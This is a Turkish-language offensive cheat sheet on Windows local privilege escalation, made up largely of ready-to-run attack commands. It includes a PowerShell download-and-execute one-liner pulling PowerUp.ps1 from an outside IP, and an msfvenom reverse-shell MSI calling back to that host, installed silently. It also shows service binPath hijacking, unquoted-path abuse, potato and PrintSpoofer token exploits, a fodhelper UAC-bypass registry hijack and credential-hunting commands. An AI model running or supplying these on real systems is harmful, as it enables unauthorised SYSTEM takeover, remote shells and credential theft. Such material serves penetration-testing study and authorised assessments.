Skip to content

Windows Privilege Escalation

MITRE ATT&CK · T1068 phase: privilege-escalation

Windows local privilege escalation, standart kullanıcı (veya medium integrity admin) oturumundan local Administrators / SYSTEM’e çıkmaktır. Enumeration önceliklidir: WinPEAS / PowerUp bulgularını manuel doğrula, sonra tek vektörü stabilize et.

- Interactive veya reverse shell (PowerShell / cmd)
- Mümkünse: whoami /priv, sc, icacls, accesschk
- Hedef: local admin veya SYSTEM token
Terminal window
whoami; whoami /groups; whoami /priv
Terminal window
systeminfo
Terminal window
hostname; net user; net localgroup administrators
Terminal window
netstat -ano
Terminal window
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20
Terminal window
Get-Service | Where-Object {$_.Status -eq 'Running'} | Format-Table -AutoSize

WinPEAS · run

embedded tool
Generated command
C:\Users\Public\winPEASx64.exe quiet cmd fast

Çıktıyı dosyaya yönlendir; sarı/kırmızı satırları manuel doğrula.

Terminal window
.\winPEASx64.exe quiet cmd fast
Terminal window
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks"
Terminal window
Seatbelt.exe -group=system

Servis binary veya dizini yazılabilirse payload ile değiştirip servisi yeniden başlatmak (veya reboot beklemek) SYSTEM shell verir.

Terminal window
sc.exe qc VulnerableService
Terminal window
icacls "C:\Program Files\Vulnerable App"
Terminal window
accesschk.exe -uwcqv "Authenticated Users" *
Terminal window
sc.exe config VulnerableService binPath= "C:\Users\Public\rev.exe"
Terminal window
sc.exe stop VulnerableService
Terminal window
sc.exe start VulnerableService

Service registry ImagePath yazılabilirse aynı etki:

Terminal window
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService

Boşluklu ve tırnaksız path:

C:\Program Files\Vulnerable App\service.exe
→ C:\Program.exe
→ C:\Program Files\Vulnerable.exe
Terminal window
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Terminal window
Get-CimInstance Win32_Service | Where-Object { $_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | Select Name, PathName

Yazılabilir ara dizin varsa oraya Program.exe / Vulnerable.exe bırak; servis restart ile SYSTEM kod çalışır.

Her iki anahtar da 1 ise MSI SYSTEM olarak kurulur.

Terminal window
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Terminal window
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Terminal window
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o evil.msi
Terminal window
msiexec /quiet /qn /i C:\Users\Public\evil.msi
Terminal window
schtasks /query /fo LIST /v
Terminal window
Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq 'Highest'} | Format-Table TaskName, TaskPath
Terminal window
icacls C:\path\to\task\script.ps1

Yazılabilir action + yüksek yetkili principal → payload değiştir. Startup klasörü / Run key’ler kullanıcı bağlamında kalır; admin Run key yazılabilirse farklı hikâye.

Terminal window
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Terminal window
dir "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege (IIS, MSSQL, servis hesapları) → SYSTEM impersonation.

Terminal window
whoami /priv
JuicyPotato / JuicyPotatoNG → eski Windows / CLSID
PrintSpoofer / PrintSpoofer.NET → Print Spooler
GodPotato / SharpEfsPotato → modern Windows
RoguePotato / SweetPotato → varyantlar
Terminal window
.\PrintSpoofer.exe -i -c cmd
Terminal window
.\GodPotato.exe -cmd "cmd /c whoami"
Terminal window
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\Public\out.txt" -t *

Detaylı token/UAC: UAC & Tokens.

Local admin ama medium integrity ise birçok araç kısıtlıdır. Auto-elevate binary + registry hijack (fodhelper, eventvwr, computerdefaults…) ile high IL mümkün olabilir. Bu, “standart kullanıcı → admin” değildir; zaten Administrators üyesisindir.

Terminal window
whoami /groups | findstr /i Level
Terminal window
# fodhelper örneği — Command generator benzeri hijack (opsec dikkat)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f

Tam akış: uac-tokens.

Terminal window
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Terminal window
cmdkey /list
Terminal window
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\* 2>nul

Autologon cleartext, Credential Manager, DLL hijack (yazılabilir PATH + eksik DLL) ve BYOVD ayrı sınıflardır — sürüm/izin dahilinde dene.

  1. whoami /priv + WinPEAS / PowerUp çalıştır.

  2. Servis ACL, unquoted path, AlwaysInstallElevated, task yazma — doğrula.

  3. SeImpersonate varsa potato / PrintSpoofer.

  4. Medium IL admin ise UAC bypass → high IL.

  5. SYSTEM sonrası Credential Dumping.

WinPEAS → SERVICE_CHANGE_CONFIG → sc config binPath → SYSTEM → secretsdump
IIS SeImpersonate → PrintSpoofer → SYSTEM → PtH
AlwaysInstallElevated=1 → msi payload → SYSTEM